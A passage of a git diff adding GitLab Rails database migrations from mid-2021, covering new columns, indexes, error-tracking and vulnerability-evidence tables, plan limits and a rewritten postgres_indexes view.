+ foreign_key: { on_delete: :cascade, to_table: :error_tracking_errors }
+
+ t.text :description, null: false
+ t.text :environment
+ t.text :level
+ t.datetime_with_timezone :occurred_at, null: false
+ t.jsonb :payload, null: false, default: {}
+
+ t.text_limit :description, 255
+ t.text_limit :environment, 255
+ t.text_limit :level, 255
+
+ t.timestamps_with_timezone
+ end
+ end
+
+ def down
+ drop_table :error_tracking_error_events
+ end
+end
diff --git a/db/migrate/20210627204936_add_plan_limits_max_size_cluster_image_scanning_column.rb b/db/migrate/20210627204936_add_plan_limits_max_size_cluster_image_scanning_column.rb
new file mode 100644
index 00000000000..322e6991d0b
--- /dev/null
+++ b/db/migrate/20210627204936_add_plan_limits_max_size_cluster_image_scanning_column.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddPlanLimitsMaxSizeClusterImageScanningColumn < ActiveRecord::Migration[6.0]
+ def change
+ add_column :plan_limits, :ci_max_artifact_size_cluster_image_scanning, :integer, null: false, default: 0
+ end
+end
diff --git a/db/migrate/20210629153519_add_index_to_bulk_import_entities_on_bulk_import_id_and_status.rb b/db/migrate/20210629153519_add_index_to_bulk_import_entities_on_bulk_import_id_and_status.rb
new file mode 100644
index 00000000000..c84a42cbea4
--- /dev/null
+++ b/db/migrate/20210629153519_add_index_to_bulk_import_entities_on_bulk_import_id_and_status.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddIndexToBulkImportEntitiesOnBulkImportIdAndStatus < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ NEW_INDEX_NAME = 'index_bulk_import_entities_on_bulk_import_id_and_status'
+ OLD_INDEX_NAME = 'index_bulk_import_entities_on_bulk_import_id'
+
+ def up
+ add_concurrent_index :bulk_import_entities, [:bulk_import_id, :status], name: NEW_INDEX_NAME
+ remove_concurrent_index_by_name :bulk_import_entities, name: OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :bulk_import_entities, :bulk_import_id, name: OLD_INDEX_NAME
+ remove_concurrent_index_by_name :bulk_import_entities, name: NEW_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210630144339_add_invite_email_success_to_members.rb b/db/migrate/20210630144339_add_invite_email_success_to_members.rb
new file mode 100644
index 00000000000..6c341ecb3f3
--- /dev/null
+++ b/db/migrate/20210630144339_add_invite_email_success_to_members.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddInviteEmailSuccessToMembers < ActiveRecord::Migration[6.1]
+ def up
+ # no-op
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210701111627_add_upvotes_count_to_issues.rb b/db/migrate/20210701111627_add_upvotes_count_to_issues.rb
new file mode 100644
index 00000000000..beefb186f37
--- /dev/null
+++ b/db/migrate/20210701111627_add_upvotes_count_to_issues.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddUpvotesCountToIssues < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :issues, :upvotes_count, :integer, default: 0, null: false
+ end
+ end
+
+ def down
+ remove_column :issues, :upvotes_count
+ end
+end
diff --git a/db/migrate/20210702124842_add_ci_job_trace_size_to_plan_limits.rb b/db/migrate/20210702124842_add_ci_job_trace_size_to_plan_limits.rb
new file mode 100644
index 00000000000..561c98c449c
--- /dev/null
+++ b/db/migrate/20210702124842_add_ci_job_trace_size_to_plan_limits.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddCiJobTraceSizeToPlanLimits < ActiveRecord::Migration[6.1]
+ def change
+ add_column(:plan_limits, :ci_jobs_trace_size_limit, :integer, default: 100, null: false)
+ end
+end
diff --git a/db/migrate/20210705124128_add_project_settings_previous_default_branch.rb b/db/migrate/20210705124128_add_project_settings_previous_default_branch.rb
new file mode 100644
index 00000000000..e54d762fa75
--- /dev/null
+++ b/db/migrate/20210705124128_add_project_settings_previous_default_branch.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddProjectSettingsPreviousDefaultBranch < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20210707173645_add_project_settings_previous_default_branch_text_limit
+ def up
+ with_lock_retries do
+ add_column :project_settings, :previous_default_branch, :text
+ end
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+
+ def down
+ with_lock_retries do
+ remove_column :project_settings, :previous_default_branch
+ end
+ end
+end
diff --git a/db/migrate/20210705130919_create_container_repos_on_exp_cleanup_status_project_id_start_date_index.rb b/db/migrate/20210705130919_create_container_repos_on_exp_cleanup_status_project_id_start_date_index.rb
new file mode 100644
index 00000000000..a6983c2d599
--- /dev/null
+++ b/db/migrate/20210705130919_create_container_repos_on_exp_cleanup_status_project_id_start_date_index.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class CreateContainerReposOnExpCleanupStatusProjectIdStartDateIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ OLD_INDEX_NAME = 'idx_container_repositories_on_exp_cleanup_status_and_start_date'
+ NEW_INDEX_NAME = 'idx_container_repos_on_exp_cleanup_status_project_id_start_date'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(:container_repositories, [:expiration_policy_cleanup_status, :project_id, :expiration_policy_started_at], name: NEW_INDEX_NAME)
+ remove_concurrent_index(:container_repositories, [:expiration_policy_cleanup_status, :expiration_policy_started_at], name: OLD_INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:container_repositories, [:expiration_policy_cleanup_status, :expiration_policy_started_at], name: OLD_INDEX_NAME)
+ remove_concurrent_index(:container_repositories, [:expiration_policy_cleanup_status, :project_id, :expiration_policy_started_at], name: NEW_INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210705132928_add_new_user_signups_cap_to_namespace_settings.rb b/db/migrate/20210705132928_add_new_user_signups_cap_to_namespace_settings.rb
new file mode 100644
index 00000000000..7f736bf2b87
--- /dev/null
+++ b/db/migrate/20210705132928_add_new_user_signups_cap_to_namespace_settings.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddNewUserSignupsCapToNamespaceSettings < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :namespace_settings, :new_user_signups_cap, :integer, null: true
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :namespace_settings, :new_user_signups_cap
+ end
+ end
+end
diff --git a/db/migrate/20210705144657_add_instance_runners_enabled_to_ci_pending_build.rb b/db/migrate/20210705144657_add_instance_runners_enabled_to_ci_pending_build.rb
new file mode 100644
index 00000000000..b362fd930a3
--- /dev/null
+++ b/db/migrate/20210705144657_add_instance_runners_enabled_to_ci_pending_build.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddInstanceRunnersEnabledToCiPendingBuild < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ add_column :ci_pending_builds, :instance_runners_enabled, :boolean, null: false, default: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :ci_pending_builds, :instance_runners_enabled
+ end
+ end
+end
diff --git a/db/migrate/20210706084713_add_devops_adoption_snapshots_index.rb b/db/migrate/20210706084713_add_devops_adoption_snapshots_index.rb
new file mode 100644
index 00000000000..26727b7ad7d
--- /dev/null
+++ b/db/migrate/20210706084713_add_devops_adoption_snapshots_index.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddDevopsAdoptionSnapshotsIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'idx_analytics_devops_adoption_snapshots_finalized'
+
+ def up
+ add_concurrent_index :analytics_devops_adoption_snapshots, [:namespace_id, :end_time], where: "recorded_at >= end_time", name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :analytics_devops_adoption_snapshots, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210706152139_add_index_type_to_postgres_indexes_view.rb b/db/migrate/20210706152139_add_index_type_to_postgres_indexes_view.rb
new file mode 100644
index 00000000000..a2a3d74cd49
--- /dev/null
+++ b/db/migrate/20210706152139_add_index_type_to_postgres_indexes_view.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+class AddIndexTypeToPostgresIndexesView < ActiveRecord::Migration[6.1]
+ def up
+ execute(<<~SQL)
+ DROP VIEW IF EXISTS postgres_indexes;
+
+ CREATE VIEW postgres_indexes AS
+ SELECT (pg_namespace.nspname::text || '.'::text) || i.relname::text AS identifier,
+ pg_index.indexrelid,
+ pg_namespace.nspname AS schema,
+ i.relname AS name,
+ pg_indexes.tablename,
+ a.amname AS type,
+ pg_index.indisunique AS "unique",
+ pg_index.indisvalid AS valid_index,
+ i.relispartition AS partitioned,
+ pg_index.indisexclusion AS exclusion,
+ pg_index.indexprs IS NOT NULL AS expression,
+ pg_index.indpred IS NOT NULL AS partial,
+ pg_indexes.indexdef AS definition,
+ pg_relation_size(i.oid::regclass) AS ondisk_size_bytes
+ FROM pg_index
+ JOIN pg_class i ON i.oid = pg_index.indexrelid
+ JOIN pg_namespace ON i.relnamespace = pg_namespace.oid
+ JOIN pg_indexes ON i.relname = pg_indexes.indexname
+ JOIN pg_am a ON i.relam = a.oid
+ WHERE pg_namespace.nspname <> 'pg_catalog'::name AND (pg_namespace.nspname = ANY (ARRAY["current_schema"(), 'gitlab_partitions_dynamic'::name, 'gitlab_partitions_static'::name]));
+ SQL
+ end
+
+ def down
+ execute(<<~SQL)
+ DROP VIEW IF EXISTS postgres_indexes;
+
+ CREATE VIEW postgres_indexes AS
+ SELECT (((pg_namespace.nspname)::text || '.'::text) || (pg_class.relname)::text) AS identifier,
+ pg_index.indexrelid,
+ pg_namespace.nspname AS schema,
+ pg_class.relname AS name,
+ pg_indexes.tablename,
+ pg_index.indisunique AS "unique",
+ pg_index.indisvalid AS valid_index,
+ pg_class.relispartition AS partitioned,
+ pg_index.indisexclusion AS exclusion,
+ (pg_index.indexprs IS NOT NULL) AS expression,
+ (pg_index.indpred IS NOT NULL) AS partial,
+ pg_indexes.indexdef AS definition,
+ pg_relation_size((pg_class.oid)::regclass) AS ondisk_size_bytes
+ FROM (((pg_index
+ JOIN pg_class ON ((pg_class.oid = pg_index.indexrelid)))
+ JOIN pg_namespace ON ((pg_class.relnamespace = pg_namespace.oid)))
+ JOIN pg_indexes ON ((pg_class.relname = pg_indexes.indexname)))
+ WHERE ((pg_namespace.nspname <> 'pg_catalog'::name) AND (pg_namespace.nspname = ANY (ARRAY["current_schema"(), 'gitlab_partitions_dynamic'::name, 'gitlab_partitions_static'::name])));
+ SQL
+ end
+end
diff --git a/db/migrate/20210706213537_add_premium_and_ultimate_plan_limits.rb b/db/migrate/20210706213537_add_premium_and_ultimate_plan_limits.rb
new file mode 100644
index 00000000000..f78e37d645a
--- /dev/null
+++ b/db/migrate/20210706213537_add_premium_and_ultimate_plan_limits.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class AddPremiumAndUltimatePlanLimits < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ class Plan < ActiveRecord::Base
+ self.inheritance_column = :_type_disabled
+
+ has_one :limits, class_name: 'PlanLimits'
+ end
+
+ class PlanLimits < ActiveRecord::Base
+ self.inheritance_column = :_type_disabled
+
+ belongs_to :plan
+ end
+
+ def copy_plan_limits(from_plan_name:, to_plan_name:)
+ source_plan = Plan.find_by(name: from_plan_name)
+ target_plan = Plan.find_by(name: to_plan_name)
+ return unless source_plan && target_plan
+ return unless source_plan.limits.present?
+ return if target_plan.limits.present?
+
+ limits = source_plan.limits.dup
+ limits.plan = target_plan
+ limits.save!
+ end
+
+ def up
+ return unless Gitlab.com?
+
+ copy_plan_limits(from_plan_name: 'gold', to_plan_name: 'ultimate')
+ copy_plan_limits(from_plan_name: 'silver', to_plan_name: 'premium')
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210707095545_add_status_to_merge_request_cleanup_schedules.rb b/db/migrate/20210707095545_add_status_to_merge_request_cleanup_schedules.rb
new file mode 100644
index 00000000000..597e274cda2
--- /dev/null
+++ b/db/migrate/20210707095545_add_status_to_merge_request_cleanup_schedules.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class AddStatusToMergeRequestCleanupSchedules < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_merge_request_cleanup_schedules_on_status'
+
+ disable_ddl_transaction!
+
+ def up
+ unless column_exists?(:merge_request_cleanup_schedules, :status)
+ add_column(:merge_request_cleanup_schedules, :status, :integer, limit: 2, default: 0, null: false)
+ end
+
+ add_concurrent_index(:merge_request_cleanup_schedules, :status, name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:merge_request_cleanup_schedules, INDEX_NAME)
+
+ if column_exists?(:merge_request_cleanup_schedules, :status)
+ remove_column(:merge_request_cleanup_schedules, :status)
+ end
+ end
+end
diff --git a/db/migrate/20210707151536_create_vulnerability_finding_evidence_sources.rb b/db/migrate/20210707151536_create_vulnerability_finding_evidence_sources.rb
new file mode 100644
index 00000000000..90bc6fb82bd
--- /dev/null
+++ b/db/migrate/20210707151536_create_vulnerability_finding_evidence_sources.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityFindingEvidenceSources < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :vulnerability_finding_evidence_sources do |t|
+ t.timestamps_with_timezone null: false
+
+ t.references :vulnerability_finding_evidence, index: { name: 'finding_evidence_sources_on_finding_evidence_id' }, null: false, foreign_key: { on_delete: :cascade }
+ t.text :name
+ t.text :url
+
+ t.text_limit :name, 2048
+ t.text_limit :url, 2048
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :vulnerability_finding_evidence_sources
+ end
+ end
+end
diff --git a/db/migrate/20210707171536_create_vulnerability_finding_evidence_assets.rb b/db/migrate/20210707171536_create_vulnerability_finding_evidence_assets.rb
new file mode 100644
index 00000000000..57c71e6bc17
--- /dev/null
+++ b/db/migrate/20210707171536_create_vulnerability_finding_evidence_assets.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityFindingEvidenceAssets < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :vulnerability_finding_evidence_assets do |t|
+ t.timestamps_with_timezone null: false
+
+ t.references :vulnerability_finding_evidence, index: { name: 'finding_evidence_assets_on_finding_evidence_id' }, null: false, foreign_key: { on_delete: :cascade }
+ t.text :type
+ t.text :name
+ t.text :url
+
+ t.text_limit :type, 2048
+ t.text_limit :name, 2048
+ t.text_limit :url, 2048
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :vulnerability_finding_evidence_assets
+ end
+ end
+end
diff --git a/db/migrate/20210707171554_create_vulnerability_flags.rb b/db/migrate/20210707171554_create_vulnerability_flags.rb
new file mode 100644
index 00000000000..bf33963b08f
--- /dev/null
+++ b/db/migrate/20210707171554_create_vulnerability_flags.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityFlags < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ FALSE_POSITIVE_ENUM_VALUE = 0
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :vulnerability_flags do |t|
+ t.timestamps_with_timezone null: false
+
+ t.references :vulnerability_occurrence, null: false, foreign_key: { on_delete: :cascade }
+
+ t.integer :flag_type, limit: 2, null: false, default: FALSE_POSITIVE_ENUM_VALUE
+
+ t.text :origin, null: false
+ t.text :description, null: false
+
+ t.text_limit :origin, 255
+ t.text_limit :description, 1024
+ end
+ end
+
+ def down
+ drop_table :vulnerability_flags
+ end
+end
diff --git a/db/migrate/20210707173645_add_project_settings_previous_default_branch_text_limit.rb b/db/migrate/20210707173645_add_project_settings_previous_default_branch_text_limit.rb
new file mode 100644
index 00000000000..a6a83b00234
--- /dev/null
+++ b/db/migrate/20210707173645_add_project_settings_previous_default_branch_text_limit.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddProjectSettingsPreviousDefaultBranchTextLimit < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :project_settings, :previous_default_branch, 4096
+ end
+
+ def down
+ remove_text_limit :project_settings, :previous_default_branch
+ end
+end
diff --git a/db/migrate/20210707181536_create_vulnerability_finding_evidence_supporting_messages.rb b/db/migrate/20210707181536_create_vulnerability_finding_evidence_supporting_messages.rb
new file mode 100644
index 00000000000..b9fc822a5a3
--- /dev/null
+++ b/db/migrate/20210707181536_create_vulnerability_finding_evidence_supporting_messages.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityFindingEvidenceSupportingMessages < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :vulnerability_finding_evidence_supporting_messages do |t|
+ t.timestamps_with_timezone null: false
+
+ t.references :vulnerability_finding_evidence, index: { name: 'finding_evidence_supporting_messages_on_finding_evidence_id' }, null: false, foreign_key: { on_delete: :cascade }
+ t.text :name
+
+ t.text_limit :name, 2048
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :vulnerability_finding_evidence_supporting_messages
+ end
+ end
+end
diff --git a/db/migrate/20210708063032_add_failed_count_to_merge_request_cleanup_schedules.rb b/db/migrate/20210708063032_add_failed_count_to_merge_request_cleanup_schedules.rb
new file mode 100644
index 00000000000..f613856a18c
--- /dev/null
+++ b/db/migrate/20210708063032_add_failed_count_to_merge_request_cleanup_schedules.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddFailedCountToMergeRequestCleanupSchedules < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def change
+ add_column :merge_request_cleanup_schedules, :failed_count, :integer, default: 0, null: false
+ end
+end
diff --git a/db/migrate/20210708124229_add_security_scans_created_at_index.rb b/db/migrate/20210708124229_add_security_scans_created_at_index.rb
new file mode 100644
index 00000000000..d2d1958f5b9
--- /dev/null
+++ b/db/migrate/20210708124229_add_security_scans_created_at_index.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddSecurityScansCreatedAtIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_security_scans_on_created_at'
+
+ def up
+ add_concurrent_index(:security_scans, :created_at, name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:security_scans, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210708131048_add_error_tracking_counter_cache.rb b/db/migrate/20210708131048_add_error_tracking_counter_cache.rb
new file mode 100644
index 00000000000..3bf7e1e3688
--- /dev/null
+++ b/db/migrate/20210708131048_add_error_tracking_counter_cache.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddErrorTrackingCounterCache < ActiveRecord::Migration[6.1]
+ def up
+ add_column :error_tracking_errors, :events_count, :bigint, null: false, default: 0
+ end
+
+ def down
+ remove_column :error_tracking_errors, :events_count
+ end
+end
diff --git a/db/migrate/20210708134446_remove_not_null_constraint_from_terms.rb b/db/migrate/20210708134446_remove_not_null_constraint_from_terms.rb
new file mode 100644
index 00000000000..82abfeb57f9
--- /dev/null
+++ b/db/migrate/20210708134446_remove_not_null_constraint_from_terms.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class RemoveNotNullConstraintFromTerms < ActiveRecord::Migration[6.1]
+ def up
+ change_column_null :application_setting_terms, :terms, true
+ end
+
+ def down
+ change_column_null :application_setting_terms, :terms, false
+ end
+end
diff --git a/db/migrate/20210709085759_index_batched_migration_jobs_by_max_value.rb b/db/migrate/20210709085759_index_batched_migration_jobs_by_max_value.rb
new file mode 100644
index 00000000000..8240e968e7a
--- /dev/null
+++ b/db/migrate/20210709085759_index_batched_migration_jobs_by_max_value.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class IndexBatchedMigrationJobsByMaxValue < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_migration_jobs_on_migration_id_and_max_value'
+
+ def up
+ add_concurrent_index :batched_background_migration_jobs, %i(batched_background_migration_id max_value), name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :batched_background_migration_jobs, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210709132707_change_default_job_token_scope_enabled.rb b/db/migrate/20210709132707_change_default_job_token_scope_enabled.rb
new file mode 100644
index 00000000000..fbd9f7baa61
--- /dev/null
+++ b/db/migrate/20210709132707_change_default_job_token_scope_enabled.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class ChangeDefaultJobTokenScopeEnabled < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ change_column_default :project_ci_cd_settings, :job_token_scope_enabled, from: false, to: true
+ end
+ end
+
+ def down
+ with_lock_retries do
+ change_column_default :project_ci_cd_settings, :job_token_scope_enabled, from: true, to: false
+ end
+ end
+end
diff --git a/db/migrate/20210713070842_update_merge_request_cleanup_schedules_scheduled_at_index.rb b/db/migrate/20210713070842_update_merge_request_cleanup_schedules_scheduled_at_index.rb
new file mode 100644
index 00000000000..a19d15d80a0
--- /dev/null
+++ b/db/migrate/20210713070842_update_merge_request_cleanup_schedules_scheduled_at_index.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class UpdateMergeRequestCleanupSchedulesScheduledAtIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_mr_cleanup_schedules_timestamps_status'
+ OLD_INDEX_NAME = 'index_mr_cleanup_schedules_timestamps'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(:merge_request_cleanup_schedules, :scheduled_at, where: 'completed_at IS NULL AND status = 0', name: INDEX_NAME)
+ remove_concurrent_index_by_name(:merge_request_cleanup_schedules, OLD_INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:merge_request_cleanup_schedules, INDEX_NAME)
+ add_concurrent_index(:merge_request_cleanup_schedules, :scheduled_at, where: 'completed_at IS NULL', name: OLD_INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210713135152_add_devops_adoption_vulnerability_management_used_count.rb b/db/migrate/20210713135152_add_devops_adoption_vulnerability_management_used_count.rb
new file mode 100644
index 00000000000..74f24364177
--- /dev/null
+++ b/db/migrate/20210713135152_add_devops_adoption_vulnerability_management_used_count.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddDevopsAdoptionVulnerabilityManagementUsedCount < ActiveRecord::Migration[6.1]
+ def change
+ add_column :analytics_devops_adoption_snapshots, :vulnerability_management_used_count, :integer
+ end
+end
diff --git a/db/migrate/20210713144637_add_vulnerabilities_created_at_index.rb b/db/migrate/20210713144637_add_vulnerabilities_created_at_index.rb
new file mode 100644
index 00000000000..27eb2691754
--- /dev/null
+++ b/db/migrate/20210713144637_add_vulnerabilities_created_at_index.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddVulnerabilitiesCreatedAtIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'idx_vulnerabilities_partial_devops_adoption'
+
+ def up
+ add_concurrent_index :vulnerabilities, [:project_id, :created_at], where: 'state != 1', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210714120600_add_detected_at_to_vulnerabilities.rb b/db/migrate/20210714120600_add_detected_at_to_vulnerabilities.rb
new file mode 100644
index 00000000000..fb18ac4e174
--- /dev/null
+++ b/db/migrate/20210714120600_add_detected_at_to_vulnerabilities.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddDetectedAtToVulnerabilities < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :vulnerabilities, :detected_at, :datetime_with_timezone
+ change_column_default :vulnerabilities, :detected_at, -> { 'NOW()' }
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :vulnerabilities, :detected_at
+ end
+ end
+end
diff --git a/db/migrate/20210716074555_revert_default_job_token_scope.rb b/db/migrate/20210716074555_revert_default_job_token_scope.rb
new file mode 100644
index 00000000000..d28f75605e4
--- /dev/null
+++ b/db/migrate/20210716074555_revert_default_job_token_scope.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class RevertDefaultJobTokenScope < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ change_column_default :project_ci_cd_settings, :job_token_scope_enabled, from: true, to: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ change_column_default :project_ci_cd_settings, :job_token_scope_enabled, from: false, to: true
+ end
+ end
+end
diff --git a/db/post_migrate/20210602164044_schedule_latest_pipeline_id_population.rb b/db/post_migrate/20210602164044_schedule_latest_pipeline_id_population.rb
new file mode 100644
index 00000000000..dfd2806fece
--- /dev/null
+++ b/db/post_migrate/20210602164044_schedule_latest_pipeline_id_population.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class ScheduleLatestPipelineIdPopulation < ActiveRecord::Migration[6.1]
+ def up
+ # no-op: This migration has been marked as no-op and replaced by
+ # `ReScheduleLatestPipelineIdPopulation` as we've found some problems.
+ # For more information: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65280
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210604133651_schedule_merge_request_diff_users_background_migration.rb b/db/post_migrate/20210604133651_schedule_merge_request_diff_users_background_migration.rb
new file mode 100644
index 00000000000..b9b694012f2
--- /dev/null
+++ b/db/post_migrate/20210604133651_schedule_merge_request_diff_users_background_migration.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class ScheduleMergeRequestDiffUsersBackgroundMigration < ActiveRecord::Migration[6.1]
+ def up
+ # no-op
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210609202501_schedule_backfill_draft_status_on_merge_requests.rb b/db/post_migrate/20210609202501_schedule_backfill_draft_status_on_merge_requests.rb
new file mode 100644
index 00000000000..72c4168af50
--- /dev/null
+++ b/db/post_migrate/20210609202501_schedule_backfill_draft_status_on_merge_requests.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class ScheduleBackfillDraftStatusOnMergeRequests < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = "tmp_index_merge_requests_draft_and_status"
+ MIGRATION = 'BackfillDraftStatusOnMergeRequests'
+ DELAY_INTERVAL = 2.minutes
+ BATCH_SIZE = 100
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :merge_requests, :id,
+ where: "draft = false AND state_id = 1 AND ((title)::text ~* '^\\[draft\\]|\\(draft\\)|draft:|draft|\\[WIP\\]|WIP:|WIP'::text)",
+ name: INDEX_NAME
+
+ eligible_mrs = Gitlab::BackgroundMigration::BackfillDraftStatusOnMergeRequests::MergeRequest.eligible
+
+ queue_background_migration_jobs_by_range_at_intervals(
+ eligible_mrs,
+ MIGRATION,
+ DELAY_INTERVAL,
+ track_jobs: true,
+ batch_size: BATCH_SIZE
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name :merge_requests, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210610042700_remove_clusters_applications_fluentd_table.rb b/db/post_migrate/20210610042700_remove_clusters_applications_fluentd_table.rb
new file mode 100644
index 00000000000..9d37180326f
--- /dev/null
+++ b/db/post_migrate/20210610042700_remove_clusters_applications_fluentd_table.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class RemoveClustersApplicationsFluentdTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ drop_table :clusters_applications_fluentd
+ end
+
+ def down
+ create_table :clusters_applications_fluentd do |t|
+ t.integer :protocol, null: false, limit: 2
+ t.integer :status, null: false
+ t.integer :port, null: false
+ t.references :cluster, null: false, index: { unique: true }, foreign_key: { on_delete: :cascade }
+ t.timestamps_with_timezone null: false
+ t.string :version, null: false, limit: 255
+ t.string :host, null: false, limit: 255
+ t.boolean :cilium_log_enabled, default: true, null: false
+ t.boolean :waf_log_enabled, default: true, null: false
+ t.text :status_reason # rubocop:disable Migration/AddLimitToTextColumns
+ end
+ end
+end
diff --git a/db/post_migrate/20210614124111_add_devops_adoption_sast_dast_indexes.rb b/db/post_migrate/20210614124111_add_devops_adoption_sast_dast_indexes.rb
new file mode 100644
index 00000000000..9d40fe30ed6
